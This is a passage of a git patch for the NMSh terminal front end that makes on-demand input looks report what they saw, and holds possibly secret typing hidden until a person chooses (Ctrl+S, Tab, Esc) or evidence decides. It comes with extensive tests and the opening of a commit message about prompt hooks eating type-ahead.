'int'}, - 'input-looked': {id: 'int'}, + 'input-looked': {id: 'int', result: 'string?'}, 'queue-state': {state: 'string', dispatched: 'int?', refused: 'string?', dropped: 'int?'}, task: {change: 'string'}, tasks: {state: 'string'}, diff --git a/src/session/SessionService.ts b/src/session/SessionService.ts index 8f506b39..93107113 100644 --- a/src/session/SessionService.ts +++ b/src/session/SessionService.ts @@ -310,7 +310,7 @@ export class SessionService { if (!session || !features.has('input-look')) { send({type: 'error', code: 'state', message: 'no session input to look at'}); break; } const {id} = message; // Any input-state the look produces is sent first (synchronously, as the watch emits it). - void session.shell.inputWatch.lookNow().then(() => { if (owned === session) send({type: 'input-looked', id}); }); + void session.shell.inputWatch.lookNow().then(result => { if (owned === session) send({type: 'input-looked', id, result}); }); break; } case 'input': diff --git a/src/session/SocketSessionClient.ts b/src/session/SocketSessionClient.ts index 507d474d..287b10d9 100644 --- a/src/session/SocketSessionClient.ts +++ b/src/session/SocketSessionClient.ts @@ -7,6 +7,7 @@ import {taskUpdateFrom, tasksFrom, type TaskOp} from '../backgroundTasks/protoco import {CLIENT_FEATURES, FrameDecoder, PROTOCOL_VERSION, encodeMessage, inputStateFrom, parseFeatures, queueStateFrom, type ClientMessage, type ServiceFeature, type ServerMessage} from './SessionProtocol.js'; import type {SessionInfo} from './SessionProtocol.js'; import type {SessionNotice} from './SessionNotices.js'; +import {lookResultFrom, type LookResult} from './inputState.js'; import {isShellId, type ShellId} from '../shell/adapters/ShellAdapter.js'; import type {AttachedSession, SessionClient, SessionClientEvents, SessionOptions} from './SessionClient.js'; @@ -219,7 +220,7 @@ export class SocketSessionClient extends EventEmitter<SessionClientEvents> imple features: ReadonlySet<ServiceFeature> = new Set(); serviceBuild?: string; private pendingSwitch?: {resolve: (value: {shell: ShellId; pid: number}) => void; reject: (error: Error) => void}; - private looks = new Map<number, (looked: boolean) => void>(); + private looks = new Map<number, (result: LookResult | undefined) => void>(); private nextLook = 1; switchShell(shell: ShellId, cwd: string): Promise<{shell: ShellId; pid: number}> { @@ -249,7 +250,7 @@ export class SocketSessionClient extends EventEmitter<SessionClientEvents> imple ...(message.knowledge === undefined ? {} : {knowledge: message.knowledge}), ...(message.inputWaits ? {inputWaitMs: message.inputWaitMs ?? 0, inputWaits: message.inputWaits} : {})}, {seq: message.seq, at: message.at}); else if (message.type === 'input-state') this.emit('inputState', inputStateFrom(message)); - else if (message.type === 'input-looked') { this.looks.get(message.id)?.(true); this.looks.delete(message.id); } + else if (message.type === 'input-looked') { this.looks.get(message.id)?.(lookResultFrom(message.result)); this.looks.delete(message.id); } else if (message.type === 'queue-state') { const state = queueStateFrom(message.state); if (state) this.emit('queueState', state, {...(message.dispatched === undefined ? {} : {dispatched: message.dispatched}), @@ -270,7 +271,7 @@ export class SocketSessionClient extends EventEmitter<SessionClientEvents> imple this.exited = true; this.pendingSwitch?.reject(new Error('The session ended.')); this.pendingSwitch = undefined; - for (const done of this.looks.values()) done(false); + for (const done of this.looks.values()) done(undefined); this.looks.clear(); this.emit('exit', {exitCode, ...(signal === undefined ? {} : {signal}), ...(lost ? {lost} : {})}); } @@ -284,9 +285,9 @@ export class SocketSessionClient extends EventEmitter<SessionClientEvents> imple write(data: string): void { this.send({type: 'input', data}); } queue(change: QueueOp): void { if ((change.op === 'failure-policy' || change.expectedRevision !== undefined) && !this.features.has('queue-timeline')) return; if (this.features.has('queue')) this.send({type: 'queue', change: JSON.stringify(change)}); } task(change: TaskOp): void { if (this.features.has('background-tasks')) this.send({type: 'task', change: JSON.stringify(change)}); } - lookInput(): Promise<boolean> { + lookInput(): Promise<LookResult | undefined> { // Never send a message the service did not advertise. - if (!this.features.has('input-look') || this.exited || this.socket.destroyed) return Promise.resolve(false); + if (!this.features.has('input-look') || this.exited || this.socket.destroyed) return Promise.resolve(undefined); const id = this.nextLook++; return new Promise(resolve => { this.looks.set(id, resolve); this.send({type: 'input-look', id}); }); } diff --git a/src/session/inputState.ts b/src/session/inputState.ts index cfdb7af8..c87b241a 100644 --- a/src/session/inputState.ts +++ b/src/session/inputState.ts @@ -47,7 +47,23 @@ export function waitedSoFar(state: InputState | undefined, now: number): number return state.timing.waitedMs + (state.request ? Math.max(0, now - state.request.since) : 0); } -/** Keys go to the program one by one (hidden line or key input) instead of through the composer's line editor. */ +/** + * Keys go to the program one by one (hidden line or key input) instead of through the composer's line editor. A + * hidden line does so even when it is only likely: the terminal echoes nothing typed, so NMSh draws nothing (#426). + */ export function directInput(request: InputRequest | undefined): boolean { - return request?.confidence === 'confirmed' && (request.mode === 'hidden' || request.mode === 'key'); + return request?.mode === 'hidden' || (request?.confidence === 'confirmed' && request.mode === 'key'); +} + +/** + * What an on-demand look saw of the terminal (#426). hidden: echo is off for line input, so nothing typed may be + * drawn; visible: the terminal echoes, so typing may be shown; unknown: no sample said how it echoes (a probe failed or + * timed out); idle: nothing was running; unavailable: this platform has no way to look. + */ +export type LookResult = 'hidden' | 'visible' | 'unknown' | 'idle' | 'unavailable'; +export const LOOK_RESULTS: readonly LookResult[] = ['hidden', 'visible', 'unknown', 'idle', 'unavailable']; + +/** A look result from the wire: one of the known values, else no answer (never guessed). */ +export function lookResultFrom(value: unknown): LookResult | undefined { + return typeof value === 'string' && (LOOK_RESULTS as readonly string[]).includes(value) ? value as LookResult : undefined; } diff --git a/src/status/inputStatus.ts b/src/status/inputStatus.ts index f8461968..c304c0a7 100644 --- a/src/status/inputStatus.ts +++ b/src/status/inputStatus.ts @@ -84,3 +84,22 @@ export function completionWaitFact(timing: InputTiming | undefined): string { if (!timing?.waits || timing.waitedMs < 1000) return ''; return ` · ${formatDuration(timing.waitedMs)} waiting for input${timing.waits > 1 ? ` (${timing.waits} prompts)` : ''}`; } + +/** How to settle typing NMSh is holding because it cannot tell who reads it (#426): the composer's hint and the rows'. */ +export function heldInputActions(program: string): string { + return `Ctrl+S sends it to ${program} · Tab shows it · Esc discards it`; +} + +/** + * The activity rows while typing is held without evidence of who reads it: what happened, then how to choose. Nothing + * typed is shown; the person decides, or later evidence does. + */ +export function heldInputRows(program: string, columns: number): [string, string] { + const attention = foreground(UI_COLORS.attention); + const secondary = foreground(UI_COLORS.secondary); + const head = `${inputGlyph({confidence: 'likely'})} Can't tell whether ${program} is reading your typing`; + const tail = ' · held, not shown'; + const first = `${attention}${BOLD}${truncateText(head, columns)}${RESET}${displayWidth(head + tail) <= columns ? `${secondary}${tail}${RESET}` : ''}`; + const indent = ' '; + return [first, `${indent}${secondary}${truncateText(heldInputActions(program), Math.max(1, columns - indent.length))}${RESET}`]; +} diff --git a/tests/inputAwareness.test.ts b/tests/inputAwareness.test.ts index 852509c1..ca620c7d 100644 --- a/tests/inputAwareness.test.ts +++ b/tests/inputAwareness.test.ts @@ -3,7 +3,7 @@ import test from 'node:test'; import {OpenLine, promptShaped, promptText} from '../src/session/openLine.js'; import {parseCpuTime, parseForeground, parseStty, parseSyscall, type TerminalSample} from '../src/session/terminalProbe.js'; import {InputWatch} from '../src/session/InputWatch.js'; -import {directInput, waitedSoFar, type InputState} from '../src/session/inputState.js'; +import {directInput, lookResultFrom, waitedSoFar, type InputState} from '../src/session/inputState.js'; import {decodeMessage, encodeMessage, inputStateFrom, inputStateMessage, parseClientFeatures, parseFeatures, type SessionInfo} from '../src/session/SessionProtocol.js'; import {describeNotice, noticeVisibleMs, SessionNoticeTracker} from '../src/session/SessionNotices.js'; import {liveStatusParts} from '../src/session/liveStatus.js'; @@ -328,6 +328,66 @@ test('watch (#426): a first sample that catches the shell still on a CPU is not assert.equal(other.watch.state.request, undefined); }); +test('watch (#426): echo off with line input is hidden input whatever else is known; typed text is never drawn', async () => { + // On a CPU in the only sample, computing across samples, or (Linux) blocked elsewhere: a terminal would still echo + // nothing typed, so NMSh shows nothing either. Without that evidence the reply is "likely" hidden, not confirmed. + const cases: Array<[string, TerminalSample[]]> = [ + ['runnable in the only sample', [{modes: hiddenModes, foreground: fg('R+', 5, 'sudo')}]], + ['computing across samples', [{modes: hiddenModes, foreground: fg('S+', 5, 'sudo')}, {modes: hiddenModes, foreground: fg('R+', 900, 'sudo')}]], + ['blocked elsewhere (Linux)', [{modes: hiddenModes, foreground: fg('S+', 5, 'ssh-keygen'), readingTerminal: false}]], + ]; + for (const [name, samples] of cases) { + const h = harness('sudo -k true'); + h.watch.onOutput('Password:', h.at()); + for (const sample of samples) { h.set(sample); await h.advance(1000); } + const request = h.watch.state.request; + assert.equal(request?.mode, 'hidden', `${name}: hidden`); + assert.equal(request?.confidence, 'likely', `${name}: not claimed as a confirmed wait`); + assert.equal(directInput(request), true, `${name}: keys go to the program, never into the composer`); + } + // Echo off without line input (raw mode, a full-screen or proxied program) is unchanged: not a hidden line. + const raw = harness('docker run -it image'); + raw.set({modes: {canonical: false, echo: false, signals: false}, foreground: fg('R+', 100, 'docker')}); + await raw.advance(5000); + assert.equal(raw.watch.state.request, undefined); +}); + +test('watch (#426): lookNow reports what it saw: hidden, visible, unknown, nothing running, or no way to look', async () => { + const hidden = harness('read -s x'); + hidden.set({modes: hiddenModes, foreground: shellFg()}); + assert.equal(await hidden.watch.lookNow(), 'hidden'); + const visible = harness('sleep 30'); + visible.set({modes: lineModes, foreground: fg('S+', 1, 'sleep')}); + assert.equal(await visible.watch.lookNow(), 'visible'); + // ps answered but stty did not: the terminal's echo is unknown. + const noModes = harness('sudo -k true'); + noModes.set({foreground: fg('S+', 1, 'sudo')}); + assert.equal(await noModes.watch.lookNow(), 'unknown'); + // Both probes failed or timed out. + const failed = harness('sudo -k true'); + failed.set(undefined); + assert.equal(await failed.watch.lookNow(), 'unknown'); + // The command ended: there is nothing to look at. + const ended = harness('ls'); + ended.watch.onPrompt(ended.at()); + assert.equal(await ended.watch.lookNow(), 'idle'); + // No probe on this platform. + const none = new InputWatch({tty: () => '/dev/ttys9'}); + none.onExec('sleep 1'); + assert.equal(await none.lookNow(), 'unavailable'); + none.dispose(); + // A sample overtaken by newer output still says how the terminal echoes; only its request evidence is stale. + let resolve!: (sample: TerminalSample) => void; + const watch = new InputWatch({probe: () => new Promise<TerminalSample>(done => { resolve = done; }), tty: () => '/dev/ttys9'}); + watch.onExec('npm test'); + const looking = watch.lookNow(); + for (let index = 0; index < 3; index++) await Promise.resolve(); + watch.onOutput('ok 1 - test\r\n'); + resolve({modes: lineModes, foreground: fg('R+', 1, 'node')}); + assert.equal(await looking, 'visible'); + watch.dispose(); +}); + test('watch: no false positives for builds, sleep, network waits, progress bars, statuses or log streams', async () => { // A build that printed a colon-ended status and is computing. const build = harness('make'); @@ -386,9 +446,14 @@ test('watch: the kernel\'s report decides when it exists (Linux): reading confir assert.equal(reading.watch.state.request?.mode, 'line'); const elsewhere = harness('ssh-keygen'); elsewhere.watch.onOutput('Enter passphrase: ', elsewhere.at()); + elsewhere.set({modes: lineModes, foreground: fg('S+', 5, 'ssh-keygen'), readingTerminal: false}); + await elsewhere.advance(5000); + assert.equal(elsewhere.watch.state.request, undefined, 'blocked elsewhere vetoes an ordinary line read'); + // With echo off the veto only lowers confidence: typed text must never be drawn (#426). elsewhere.set({modes: hiddenModes, foreground: fg('S+', 5, 'ssh-keygen'), readingTerminal: false}); await elsewhere.advance(5000); - assert.equal(elsewhere.watch.state.request, undefined); + assert.equal(elsewhere.watch.state.request?.mode, 'hidden'); + assert.equal(elsewhere.watch.state.request?.confidence, 'likely'); }); test('watch: several questions in one command accumulate waiting time; completion closes an open wait', async () => { @@ -490,11 +555,16 @@ test('protocol: input-state round-trips; unknown values are dropped, never guess assert.deepEqual([...parseClientFeatures((hello.message as {features?: string}).features)], ['input-state']); assert.deepEqual([...parseClientFeatures(undefined)], [], 'an older frontend says nothing and gets nothing new'); // On-demand looks: a numbered request and its answer; only between peers that both listed 'input-look'. - for (const message of [{type: 'input-look', id: 7}, {type: 'input-looked', id: 7}] as const) { + for (const message of [{type: 'input-look', id: 7}, {type: 'input-looked', id: 7}, {type: 'input-looked', id: 8, result: 'hidden'}] as const) { const look = decodeMessage(encodeMessage(message).trimEnd()); assert.ok(look.ok); assert.deepEqual(look.message, message); } + // What a look saw is one of a closed set; anything else is no answer, never guessed (#426). + assert.equal(lookResultFrom('hidden'), 'hidden'); + assert.equal(lookResultFrom('visible'), 'visible'); + assert.equal(lookResultFrom('maybe'), undefined); + assert.equal(lookResultFrom(undefined), undefined); assert.equal(decodeMessage(encodeMessage({type: 'input-look', id: 'x'} as never).trimEnd()).ok, false); assert.deepEqual([...parseClientFeatures('input-state,input-look')], ['input-state', 'input-look']); assert.ok(parseFeatures('queue,input-look').has('input-look')); diff --git a/tests/inputOwnershipLook.test.ts b/tests/inputOwnershipLook.test.ts index b95b7bcc..bdaec9f2 100644 --- a/tests/inputOwnershipLook.test.ts +++ b/tests/inputOwnershipLook.test.ts @@ -1,18 +1,20 @@ import test from 'node:test'; import assert from 'node:assert/strict'; import type {QueueOp} from '../src/session/CommandQueue.js'; -import type {InputState} from '../src/session/inputState.js'; +import type {InputState, LookResult} from '../src/session/inputState.js'; import {stripAnsi} from '../src/util/text.js'; import {executionFrameFixture} from './support/executionTimelineFrames.js'; /** * #426: while a command runs and NMSh has no evidence yet that it reads input, the keys that decide where typing goes - * (the first key of a draft, an Enter that would queue) wait for an on-demand look. On a loaded machine that look can - * take longer than 800 ms. The keys then stay held until it answers (at most 5 s): they may be a hidden reply, and the - * Enter decides whether the line answers the command or is queued. The composer says the typing is kept. + * (the first key of a draft, an Enter that would queue) wait for an on-demand look. Until NMSh knows who reads them, + * nothing typed is drawn, sent, queued or run: it may be a password. A look says what it saw (hidden, visible, + * unknown, nothing running); when it cannot tell, or never answers, the typing stays held and hidden until the person + * chooses (Ctrl+S sends it, Tab shows it, Esc discards it) or later evidence decides. A command that ends while the + * typing is held past the slow mark never runs it; Ctrl+C discards held typing, as a terminal flushes its input. * - * Deterministic: the look is a promise the test settles, and the deadlines run on mocked timers. Every key goes - * through the real TerminalApp key handler; no shell is started. + * Deterministic: each look is a promise the test settles with what it "saw", and the deadlines run on mocked timers. + * Every key goes through the real TerminalApp key handler; no shell is started. */ const READ = `read -r QA_REPLY; printf 'ANSWER=%s\\n' "$QA_REPLY"`; @@ -21,38 +23,59 @@ const SECRET = 'QSECRETQ'; const SLOW_MS = 800; /** The bound on keys waiting for a look that does not answer. */ const BOUND_MS = 5000; +const CTRL_S = '\u0013'; +const TAB = '\t'; function fixture() { - const frame = executionFrameFixture(80, 30); + const frame = executionFrameFixture(100, 30); const written: string[] = []; const queueOps: QueueOp[] = []; + const submitted: string[] = []; + let interrupts = 0; Object.defineProperty(frame.session, 'write', {value: (data: string) => { written.push(data); }, configurable: true}); + Object.defineProperty(frame.session, 'interrupt', {value: () => { interrupts += 1; }, configurable: true}); const originalQueue = frame.session.queue.bind(frame.session); Object.defineProperty(frame.session, 'queue', {value: (op: QueueOp) => { queueOps.push(op); originalQueue(op); }, configurable: true}); + Object.defineProperty(frame.app, 'submit', {value: async () => { submitted.push(frame.app['editor'].text); frame.app['editor'].clear(); }, configurable: true}); let looks = 0; - let settle: (looked: boolean) => void = () => {}; - /** Every look stays open until the test settles it. */ + let settle: (result: LookResult | undefined) => void = () => {}; + /** Every look stays open until the test settles it with what it saw. */ const slowLooks = () => Object.defineProperty(frame.session, 'lookInput', {value: () => { looks += 1; - return new Promise<boolean>(resolve => { settle = resolve; }); + return new Promise<LookResult | undefined>(resolve => { settle = resolve; }); }, configurable: true}); - /** Every look answers at once, as it does on an idle machine. */ - const quickLooks = () => Object.defineProperty(frame.session, 'lookInput', {value: async () => { looks += 1; return true; }, configurable: true}); + /** Every look answers at once with what it saw, as it does on an idle machine. */ + const quickLooks = (...answer: [LookResult | undefined] | []) => { + const result = answer.length ? answer[0] : 'visible'; + Object.defineProperty(frame.session, 'lookInput', {value: async () => { looks += 1; return result; }, configurable: true}); + }; const type = (text: string) => { for (const char of text) frame.app['onInput'](char); }; const enter = () => frame.app['onInput']('\r'); const text = () => frame.app['editor'].text as string; const adds = () => queueOps.filter(op => op.op === 'add').map(op => (op as {text: string}).text); const screen = () => frame.capture().frame.rows.map(line => stripAnsi(line)).join('\n'); + const transcript = () => (frame.app['output'].transcript().lines as Array<Array<{text?: string} | null>>) + .map(line => line.map(cell => cell?.text ?? ' ').join('')).join('\n'); /** The session reports what the look found, before it says the look is done (as the protocol orders them). */ const found = (request: NonNullable<InputState['request']>) => { frame.session.emit('inputState', {request, timing: {waitedMs: 0, waits: 0}}); - settle(true); + settle(request.mode === 'hidden' ? 'hidden' : 'visible'); + }; + /** Nothing anywhere a person or a log could read holds the secret. */ + const nowhere = (secret: string, what: string) => { + assert.equal(screen().includes(secret), false, `${what}: not on screen`); + assert.equal(text().includes(secret), false, `${what}: not in the composer`); + assert.equal(adds().some(entry => entry.includes(secret)), false, `${what}: not queued`); + assert.equal(submitted.some(entry => entry.includes(secret)), false, `${what}: not run as a command`); + assert.equal(transcript().includes(secret), false, `${what}: not in the transcript`); }; - return {...frame, written, slowLooks, quickLooks, type, enter, text, adds, screen, found, looks: () => looks, settle: () => settle(true)}; + return {...frame, written, submitted, slowLooks, quickLooks, type, enter, text, adds, screen, transcript, found, nowhere, + interrupts: () => interrupts, looks: () => looks, settle: (result: LookResult | undefined) => settle(result)}; } const settled = () => new Promise(done => setImmediate(done)); const KEPT = /Checking whether \S+ is waiting for input · your typing is kept/u; +const HELD = /Can't tell whether \S+ is reading your typing/u; test('#426: a reply to a prompt-less read is not queued when the look outlasts 800 ms', async t => { const f = fixture(); @@ -89,15 +112,12 @@ test('#426: a hidden reply typed before NMSh could look is never drawn, queued o f.enter(); for (const at of [SLOW_MS - 1, 1, 1000, 2000]) { t.mock.timers.tick(at); - assert.equal(f.screen().includes(SECRET), false, `${command}: the reply is not on screen ${at} ms on`); + f.nowhere(SECRET, `${command}, ${at} ms on`); } - assert.deepEqual(f.adds(), [], `${command}: a password never becomes a queued shell command`); - assert.equal(f.text(), ''); f.found({since: 0, confidence: 'confirmed', mode: 'hidden'}); await settled(); assert.equal(f.written.join(''), `${SECRET}\r`, `${command}: the hidden line and its Enter go to the program, in order`); - assert.deepEqual(f.adds(), []); - assert.equal(f.screen().includes(SECRET), false, `${command}: never drawn`); + f.nowhere(SECRET, `${command}, after`); } finally { f.dispose(); } } }); @@ -120,7 +140,83 @@ test('#426: keys typed after a held Enter stay behind it, in order', async t => } finally { f.dispose(); } }); -test('#426: keys waiting for a look that never answers are routed after the bound, on what is known', async t => { +test('#426 timeout: a look that never answers leaves the typing held and hidden, never routed; Ctrl+S sends it', async t => { + const f = fixture(); + try { + t.mock.timers.enable({apis: ['setTimeout']}); + f.slowLooks(); + f.begin('read -s REPLY'); + f.type(SECRET); + f.enter(); + t.mock.timers.tick(BOUND_MS + 1000); + f.nowhere(SECRET, 'after the bound'); + assert.deepEqual(f.written, [], 'nothing was sent without evidence or a choice'); + assert.match(f.screen(), HELD, 'the activity rows say NMSh cannot tell'); + assert.match(f.screen(), /Ctrl\+S sends it to read · Tab shows it · Esc discards it/u, 'and how to choose'); + // More typing is held too, hidden, in order. + f.type('X'); + f.nowhere(`${SECRET}X`, 'typing more'); + f.app['onInput'](CTRL_S); + assert.equal(f.written.join(''), `${SECRET}\rX`, 'Ctrl+S sends exactly what was typed, in order, to the program'); + f.nowhere(SECRET, 'after sending'); + assert.doesNotMatch(f.screen(), HELD); + } finally { f.dispose(); } +}); + +test('#426 timeout: a look that could not see the terminal (a failed probe) holds the typing the same way', async t => { + const f = fixture(); + try { + t.mock.timers.enable({apis: ['setTimeout']}); + f.quickLooks('unknown'); + f.begin('sudo -k true', 'Password:'); + f.type(SECRET); + f.enter(); + await settled(); + f.nowhere(SECRET, 'after an unknown look'); + assert.deepEqual(f.written, []); + assert.match(f.screen(), HELD); + // Esc discards: nothing is sent, shown or queued, and typing is ordinary again. + // (A lone ESC byte waits in the key decoder for a possible sequence; the key itself is what Esc delivers.) + f.app['handleKey']({kind: 'escape'}); + f.nowhere(SECRET, 'after Esc'); + assert.deepEqual(f.written, []); + assert.doesNotMatch(f.screen(), HELD); + } finally { f.dispose(); } +}); + +test('#426: one failed look gets one more; if that one sees the terminal echoing, type-ahead flows as usual', async t => { + const f = fixture(); + try { + t.mock.timers.enable({apis: ['setTimeout']}); + f.slowLooks(); + f.begin('npm test'); + f.type('echo next'); + f.settle('unknown'); + await settled(); + assert.equal(f.looks(), 2, 'a second look was asked for'); + assert.doesNotMatch(f.screen(), HELD, 'not yet held: still looking'); + f.settle('visible'); + await settled(); + assert.equal(f.text(), 'echo next'); + assert.doesNotMatch(f.screen(), HELD); + // Both looks blind: held, and no third look. + const g = fixture(); + try { + g.slowLooks(); + g.begin('sudo -k true', 'Password:'); + g.type(SECRET); + g.settle('unknown'); + await settled(); + g.settle('unknown'); + await settled(); + assert.equal(g.looks(), 2); + assert.match(g.screen(), HELD); + g.nowhere(SECRET, 'two blind looks'); + } finally { g.dispose(); } + } finally { f.dispose(); } +}); + +test('#426 timeout: Tab shows held typing in the composer for review; only the person\'s own Enter routes it', async t => { const f = fixture(); try { t.mock.timers.enable({apis: ['setTimeout']}); @@ -128,13 +224,74 @@ test('#426: keys waiting for a look that never answers are routed after the boun f.begin('sleep 30'); f.type('echo next'); f.enter(); - t.mock.timers.tick(BOUND_MS - 1); - assert.deepEqual(f.adds(), [], 'still waiting, within the bound'); - assert.match(f.screen(), KEPT); - t.mock.timers.tick(1); - assert.deepEqual(f.adds(), ['echo next'], 'with no evidence, Enter queues, as it always did'); + t.mock.timers.tick(BOUND_MS); + assert.match(f.screen(), HELD); + assert.equal(f.text(), ''); + f.app['onInput'](TAB); + assert.equal(f.text(), 'echo next', 'shown as a draft; the trailing Enter is not replayed'); + assert.deepEqual(f.adds(), [], 'showing never queues'); assert.deepEqual(f.written, []); - assert.doesNotMatch(f.screen(), KEPT); + assert.doesNotMatch(f.screen(), HELD); + } finally { f.dispose(); } +}); + +test('#426 timeout: evidence that arrives while typing is held decides it (a hidden read gets it, never drawn)', async t => { + const f = fixture(); + try { + t.mock.timers.enable({apis: ['setTimeout']}); + f.slowLooks(); + f.begin('read -s REPLY'); + f.type(SECRET); + f.enter(); + t.mock.timers.tick(BOUND_MS); + assert.match(f.screen(), HELD); + // The watch's own schedule sees the hidden read later. + f.session.emit('inputState', {request: {since: 0, confidence: 'confirmed', mode: 'hidden'}, timing: {waitedMs: 0, waits: 0}}); + await settled(); + assert.equal(f.written.join(''), `${SECRET}\r`); + f.nowhere(SECRET, 'after the evidence'); + } finally { f.dispose(); } +}); + +test('#426: a look that saw the terminal echoing routes type-ahead at once; no held state', async t => { + const f = fixture(); + try { + t.mock.timers.enable({apis: ['setTimeout']}); + f.quickLooks('visible'); + f.begin('sleep 30'); + f.type('echo next'); + await settled(); + assert.equal(f.text(), 'echo next'); + f.enter(); + await settled(); + assert.deepEqual(f.adds(), ['echo next'], 'queued as soon as the look answered'); + assert.equal(f.looks(), 2, 'one look for the draft, one for the Enter'); + assert.doesNotMatch(f.screen(), HELD); + assert.deepEqual(f.written, []); + } finally { f.dispose(); } +}); + +test('#426: an older service (a look with no result) routes as before', async t => { + const f = fixture(); + try { + t.mock.timers.enable({apis: ['setTimeout']}); + (f.session.features as Set<string>).delete('input-look-result'); + f.quickLooks(undefined); + f.begin('sleep 30'); + f.type('echo next'); + await settled(); + assert.equal(f.text(), 'echo next'); + assert.doesNotMatch(f.screen(), HELD); + // The same silent answer from a service that does say what it saw (the socket closed mid-look) is not evidence. + const g = fixture(); + try { + g.quickLooks(undefined); + g.begin('sudo -k true', 'Password:'); + g.type(SECRET); + await settled(); + g.nowhere(SECRET, 'a silent answer from a current service'); + assert.match(g.screen(), HELD); + } finally { g.dispose(); } } finally { f.dispose(); } }); @@ -142,32 +299,15 @@ test('#426: type-ahead is not delayed beyond the look: it appears as soon as the const f = fixture(); try { t.mock.timers.enable({apis: ['setTimeout']}); - // A quick look (the usual case): no note ever shows, and the text is there as soon as the look answers. f.slowLooks(); f.begin('sleep 30'); f.type('echo n'); t.mock.timers.tick(SLOW_MS - 1); assert.doesNotMatch(f.screen(), KEPT, 'a look that answers within 800 ms shows no note'); - f.settle(); + f.settle('visible'); await settled(); assert.equal(f.text(), 'echo n'); assert.doesNotMatch(f.screen(), KEPT); - - // An idle machine: looks answer at once with no evidence of a read. No timer has to run for typing to appear or - // for Enter to queue. - const g = fixture(); - try { - g.quickLooks(); - g.begin('sleep 30'); - g.type('echo next'); - await settled(); - assert.equal(g.text(), 'echo next'); - g.enter(); - await settled(); - assert.deepEqual(g.adds(), ['echo next'], 'queued as soon as the look answered'); - assert.equal(g.looks(), 2, 'one look for the draft, one for the Enter'); - assert.deepEqual(g.written, []); - } finally { g.dispose(); } } finally { f.dispose(); } }); @@ -182,7 +322,6 @@ test('#426: an answer to a question the program printed goes as soon as the look t.mock.timers.tick(SLOW_MS + 100); assert.deepEqual(f.written, [], 'held while NMSh cannot tell whether the answer is hidden'); assert.deepEqual(f.adds(), []); - // The look finds an ordinary line read: the answer goes, shown as typed. f.found({since: 0, confidence: 'likely', mode: 'line'}); await settled(); assert.deepEqual(f.written, ['y\r']); @@ -190,40 +329,67 @@ test('#426: an answer to a question the program printed goes as soon as the look } finally { f.dispose(); } }); -test('#426: the command ending while keys are held: the line runs as the next command, once', async t => { +test('#426: a command that ends quickly while keys are held: the type-ahead runs as the next command, once', async t => { const f = fixture(); try { t.mock.timers.enable({apis: ['setTimeout']}); f.slowLooks(); - f.begin('sleep 1'); + f.begin('ls'); f.type('echo after'); f.enter(); - t.mock.timers.tick(SLOW_MS + 100); - assert.deepEqual(f.adds(), []); - const submitted: string[] = []; - Object.defineProperty(f.app, 'submit', {value: async () => { submitted.push(f.text()); }, configurable: true}); f.complete(0); - f.settle(); + f.settle('idle'); await settled(); assert.deepEqual(f.adds(), [], 'the command is over: nothing is queued'); - assert.deepEqual(submitted, ['echo after'], 'the line runs as the next command, as Enter at the prompt does'); + assert.deepEqual(f.submitted, ['echo after'], 'the line runs as the next command, as Enter at the prompt does'); assert.deepEqual(f.written, []); } finally { f.dispose(); } }); -test('#426: Ctrl+C while keys are held routes them on what is known, then interrupts', async t => { - const f = fixture(); - try { - t.mock.timers.enable({apis: ['setTimeout']}); - f.slowLooks(); - let interrupts = 0; - Object.defineProperty(f.session, 'interrupt', {value: () => { interrupts += 1; }, configurable: true}); - f.begin('sleep 30'); - f.type('echo n'); - t.mock.timers.tick(SLOW_MS + 100); - f.app['onInput']('\u0003'); - assert.equal(interrupts, 1, 'Ctrl+C is never held'); - assert.doesNotMatch(f.screen(), KEPT); - assert.deepEqual(f.written, [], 'the held text never reached the program'); - } finally { f.dispose(); } +test('#426: a command that ends while typing is held past 800 ms never runs it; a note says it was discarded', async t => { + for (const reason of ['the look answers late', 'the look never answers']) { + const f = fixture(); + try { + t.mock.timers.reset(); + t.mock.timers.enable({apis: ['setTimeout']}); + f.slowLooks(); + // A timed read: it gives up before NMSh could tell it was reading, and the shell is back at its prompt. + f.begin('read -s -t 2 REPLY'); + f.type(SECRET); + f.enter(); + t.mock.timers.tick(SLOW_MS + 200); + f.complete(1); + if (reason === 'the look answers late') f.settle('idle'); + else t.mock.timers.tick(BOUND_MS); + await settled(); + f.nowhere(SECRET, reason); + assert.deepEqual(f.written, [], `${reason}: nothing reached anything`); + assert.match(f.transcript(), /discarded, not run/u, `${reason}: a note says what happened`); + } finally { f.dispose(); } + } +}); + +test('#426: Ctrl+C discards held typing, as a terminal flushes its input on interrupt, then interrupts', async t => { + for (const when of ['while the look runs', 'after the bound']) { + const f = fixture(); + try { + t.mock.timers.reset(); + t.mock.timers.enable({apis: ['setTimeout']}); + f.slowLooks(); + f.begin('read -s REPLY'); + f.type(SECRET); + f.enter(); + t.mock.timers.tick(when === 'while the look runs' ? 100 : BOUND_MS); + f.app['onInput']('\u0003'); + assert.equal(f.interrupts(), 1, `${when}: Ctrl+C is never held`); + f.nowhere(SECRET, when); + assert.deepEqual(f.written, [], `${when}: the held typing never reached the program`); + assert.equal(f.app['queueState'].entries.length, 0, `${when}: nothing waits in the queue to be resumed`); + assert.doesNotMatch(f.screen(), HELD); + // The look answering afterwards changes nothing. + f.settle('hidden'); + await settled(); + assert.deepEqual(f.written, []); + } finally { f.dispose(); } + } }); From 9aae2f038c7fa676f83a87a1ca7797572ccec172 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Mon, 19 Oct 2026 01:08:03 +0530 Subject: [PATCH 058/157] Input ownership: prompt hooks and stale questions never eat type-ahead MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit #436 reproduced on dev under parallel load (an instrumented copy of the live test, 8 at a time, load ~30): the command typed right after Ctrl+C on a waiting read ran with its beginning missing (`cho Y >> …`, exit 127). A frontend log of every input-state change and hand-over showed two causes: 1. The session sampled the read before it saw the interrupt; that report reached the frontend after Ctrl+C, re-marked the post-Ctrl+C type-ahead as a reply, and the prompt then discarded it mid-typing. 2. After any command, zsh and Bash run their prompt hooks before the prompt marker. A slow hook holds the terminal, idle, as a builtin read does, so the watch reported "Probably waiting for input" and the draft typed meanwhile was taken for a reply. This one needs neither Ctrl+C nor load: a slow hook of the person's reproduces it at load 3. - TerminalApp.onInputState drops a request that began before Ctrl+C or Ctrl+Z: it is the question the stop ended. A question asked after the stop is new and handled as before. - Shell protocol: each shell's first prompt hook prints an authenticated `done` marker (zsh: nmsh_done, kept first in precmd_functions, hands the command's status on unchanged; Bash: first line of __nmsh_precmd; Fish: first line of the postexec handler). ShellSession passes it to InputWatch.onDone(), which closes an open wait at that moment, cancels its schedule and drops a sample under way; nothing is sampled until the next command. Regressions fail on dev and pass here: the logged 